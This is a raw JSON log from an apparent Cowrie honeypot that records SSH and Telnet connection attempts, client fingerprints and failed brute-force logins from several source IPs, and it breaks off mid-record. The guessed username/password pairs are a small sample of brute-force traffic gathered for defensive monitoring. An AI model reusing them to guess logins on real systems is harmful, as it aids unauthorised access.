{"eventid":"cowrie.login.failed","username":"sol","password":"qwerty1234","message":"login attempt [sol/qwerty1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:56:34.056903Z","src_ip":"193.32.162.145","session":"ffe039b2d627","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:56:35.203105Z","src_ip":"193.32.162.145","session":"ffe039b2d627","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":36936,"dst_ip":"10.17.0.5","dst_port":23,"session":"f8b5bb6bf8c6","protocol":"telnet","message":"New connection: 192.119.13.58:36936 (10.17.0.5:23) [session: f8b5bb6bf8c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:56:36.233862Z"}
{"eventid":"cowrie.session.closed","duration":42.33581233024597,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:56:37.293807Z","src_ip":"192.119.13.58","session":"03c26aca2662","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.18871259689331,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:56:37.439963Z","src_ip":"192.119.13.58","session":"1bee52fe6292","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":42234,"dst_ip":"10.17.0.5","dst_port":23,"session":"e2b56d166da5","protocol":"telnet","message":"New connection: 192.119.13.58:42234 (10.17.0.5:23) [session: e2b56d166da5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:56:37.520383Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":42958,"dst_ip":"10.17.0.5","dst_port":23,"session":"de6fb7176c3e","protocol":"telnet","message":"New connection: 192.119.13.58:42958 (10.17.0.5:23) [session: de6fb7176c3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:56:37.696476Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":43356,"dst_ip":"10.17.0.5","dst_port":23,"session":"333b42510726","protocol":"telnet","message":"New connection: 192.119.13.58:43356 (10.17.0.5:23) [session: 333b42510726]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:56:38.770800Z"}
{"eventid":"cowrie.session.connect","src_ip":"40.83.182.122","src_port":60090,"dst_ip":"10.17.0.5","dst_port":22,"session":"ffe80266853c","protocol":"ssh","message":"New connection: 40.83.182.122:60090 (10.17.0.5:22) [session: ffe80266853c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:56:38.836562Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:56:38.849286Z","src_ip":"40.83.182.122","session":"ffe80266853c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:56:38.927135Z","src_ip":"40.83.182.122","session":"ffe80266853c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"cesar123","message":"login attempt [root/cesar123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:56:39.265776Z","src_ip":"40.83.182.122","session":"ffe80266853c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:56:40.345968Z","src_ip":"40.83.182.122","session":"ffe80266853c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":55438,"dst_ip":"10.17.0.5","dst_port":23,"session":"60e5b55c4bf9","protocol":"telnet","message":"New connection: 192.119.13.58:55438 (10.17.0.5:23) [session: 60e5b55c4bf9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:56:40.614938Z"}
{"eventid":"cowrie.session.closed","duration":34.466795444488525,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:56:41.029810Z","src_ip":"192.119.13.58","session":"0c3cfbae3534","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":51.846115827560425,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:56:41.144642Z","src_ip":"192.119.13.58","session":"9d9da06dd70a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":58506,"dst_ip":"10.17.0.5","dst_port":23,"session":"ab8f1054217d","protocol":"telnet","message":"New connection: 192.119.13.58:58506 (10.17.0.5:23) [session: ab8f1054217d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:56:41.350323Z"}
{"eventid":"cowrie.session.closed","duration":41.67654323577881,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:56:50.355682Z","src_ip":"192.119.13.58","session":"317f0396062d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":40528,"dst_ip":"10.17.0.5","dst_port":23,"session":"5ba04f596b57","protocol":"telnet","message":"New connection: 192.119.13.58:40528 (10.17.0.5:23) [session: 5ba04f596b57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:56:50.438322Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":50976,"dst_ip":"10.17.0.5","dst_port":23,"session":"c968043f3169","protocol":"telnet","message":"New connection: 192.119.13.58:50976 (10.17.0.5:23) [session: c968043f3169]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:56:52.865197Z"}
{"eventid":"cowrie.session.closed","duration":50.98063325881958,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:56:57.274255Z","src_ip":"192.119.13.58","session":"53c9e2621f37","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.35944199562073,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:56:58.217871Z","src_ip":"192.119.13.58","session":"5792878aa55b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":44750,"dst_ip":"10.17.0.5","dst_port":23,"session":"e946814d940c","protocol":"telnet","message":"New connection: 192.119.13.58:44750 (10.17.0.5:23) [session: e946814d940c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:56:58.356802Z"}
{"eventid":"cowrie.session.connect","src_ip":"115.68.226.124","src_port":59563,"dst_ip":"10.17.0.5","dst_port":22,"session":"f43c44856568","protocol":"ssh","message":"New connection: 115.68.226.124:59563 (10.17.0.5:22) [session: f43c44856568]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:56:59.346499Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:56:59.351656Z","src_ip":"115.68.226.124","session":"f43c44856568","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:56:59.593809Z","src_ip":"115.68.226.124","session":"f43c44856568","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":51816,"dst_ip":"10.17.0.5","dst_port":23,"session":"9ab5ba9f15bc","protocol":"telnet","message":"New connection: 192.119.13.58:51816 (10.17.0.5:23) [session: 9ab5ba9f15bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:57:00.036213Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"jsu","message":"login attempt [root/jsu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:57:00.488405Z","src_ip":"115.68.226.124","session":"f43c44856568","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":57056,"dst_ip":"10.17.0.5","dst_port":23,"session":"5ce6b75ae472","protocol":"telnet","message":"New connection: 192.119.13.58:57056 (10.17.0.5:23) [session: 5ce6b75ae472]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:57:01.295378Z"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:57:01.708475Z","src_ip":"115.68.226.124","session":"f43c44856568","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.183.219","src_port":59322,"dst_ip":"10.17.0.5","dst_port":22,"session":"66c2a370dfa3","protocol":"ssh","message":"New connection: 103.75.183.219:59322 (10.17.0.5:22) [session: 66c2a370dfa3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:57:01.913893Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:57:01.920326Z","src_ip":"103.75.183.219","session":"66c2a370dfa3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:57:02.163793Z","src_ip":"103.75.183.219","session":"66c2a370dfa3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":33296,"dst_ip":"10.17.0.5","dst_port":23,"session":"7207b96fda9a","protocol":"telnet","message":"New connection: 192.119.13.58:33296 (10.17.0.5:23) [session: 7207b96fda9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:57:02.352831Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"987654321a","message":"login attempt [root/987654321a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:57:02.892854Z","src_ip":"103.75.183.219","session":"66c2a370dfa3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":38956,"dst_ip":"10.17.0.5","dst_port":23,"session":"762127b50a0f","protocol":"telnet","message":"New connection: 192.119.13.58:38956 (10.17.0.5:23) [session: 762127b50a0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:57:03.835927Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:57:04.136493Z","src_ip":"103.75.183.219","session":"66c2a370dfa3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":6.042746067047119,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:57:04.399417Z","src_ip":"192.119.13.58","session":"e946814d940c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.164.9.74","src_port":40630,"dst_ip":"10.17.0.5","dst_port":22,"session":"3981f46bc50a","protocol":"ssh","message":"New connection: 103.164.9.74:40630 (10.17.0.5:22) [session: 3981f46bc50a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:57:04.419201Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:57:04.423699Z","src_ip":"103.164.9.74","session":"3981f46bc50a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:57:04.622631Z","src_ip":"103.164.9.74","session":"3981f46bc50a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"adriano","message":"login attempt [root/adriano] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:57:05.453527Z","src_ip":"103.164.9.74","session":"3981f46bc50a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:57:06.655962Z","src_ip":"103.164.9.74","session":"3981f46bc50a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.675540924072266,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:57:07.287519Z","src_ip":"192.119.13.58","session":"62f5476ad668","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.87035083770752,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:57:11.392697Z","src_ip":"192.119.13.58","session":"cc15476d093d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.19880533218384,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:57:11.969490Z","src_ip":"192.119.13.58","session":"333b42510726","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.47270226478577,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:57:11.992952Z","src_ip":"192.119.13.58","session":"e2b56d166da5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":50.24496269226074,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:57:12.921272Z","src_ip":"192.119.13.58","session":"37ebbcbe442d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.39897847175598,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:57:15.632725Z","src_ip":"192.119.13.58","session":"f8b5bb6bf8c6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.52103924751282,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:57:16.217412Z","src_ip":"192.119.13.58","session":"de6fb7176c3e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":52372,"dst_ip":"10.17.0.5","dst_port":23,"session":"6bc20961a07c","protocol":"telnet","message":"New connection: 192.119.13.58:52372 (10.17.0.5:23) [session: 6bc20961a07c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:57:20.563780Z"}
{"eventid":"cowrie.session.closed","duration":40.045790672302246,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:57:20.660495Z","src_ip":"192.119.13.58","session":"60e5b55c4bf9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":53182,"dst_ip":"10.17.0.5","dst_port":23,"session":"4b577514d963","protocol":"telnet","message":"New connection: 192.119.13.58:53182 (10.17.0.5:23) [session: 4b577514d963]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:57:20.761122Z"}
{"eventid":"cowrie.session.closed","duration":39.64008164405823,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:57:20.990314Z","src_ip":"192.119.13.58","session":"ab8f1054217d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":41392,"dst_ip":"10.17.0.5","dst_port":23,"session":"9dd9578a57af","protocol":"telnet","message":"New connection: 192.119.13.58:41392 (10.17.0.5:23) [session: 9dd9578a57af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:57:24.644303Z"}
{"eventid":"cowrie.session.connect","src_ip":"116.110.11.66","src_port":41678,"dst_ip":"159.203.135.109","dst_port":22,"session":"2d6e4dfff428","protocol":"ssh","message":"New connection: 116.110.11.66:41678 (159.203.135.109:22) [session: 2d6e4dfff428]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:57:24.742150Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-AsyncSSH_2.1.0","message":"Remote SSH version: SSH-2.0-AsyncSSH_2.1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:57:24.751740Z","src_ip":"116.110.11.66","session":"2d6e4dfff428","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"fda360b1b4f4d3455cb75c6e7edb1d11","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","curve448-sha512","ecdh-sha2-nistp521","ecdh-sha2-nistp384","ecdh-sha2-nistp256","ecdh-sha2-1.3.132.0.10","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha256","diffie-hellman-group15-sha512","diffie-hellman-group16-sha512","diffie-hellman-group17-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","rsa2048-sha256","rsa1024-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519-cert-v01@openssh.com","ssh-ed448-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-ed25519","ssh-ed448","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","ecdsa-sha2-1.3.132.0.10","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@opens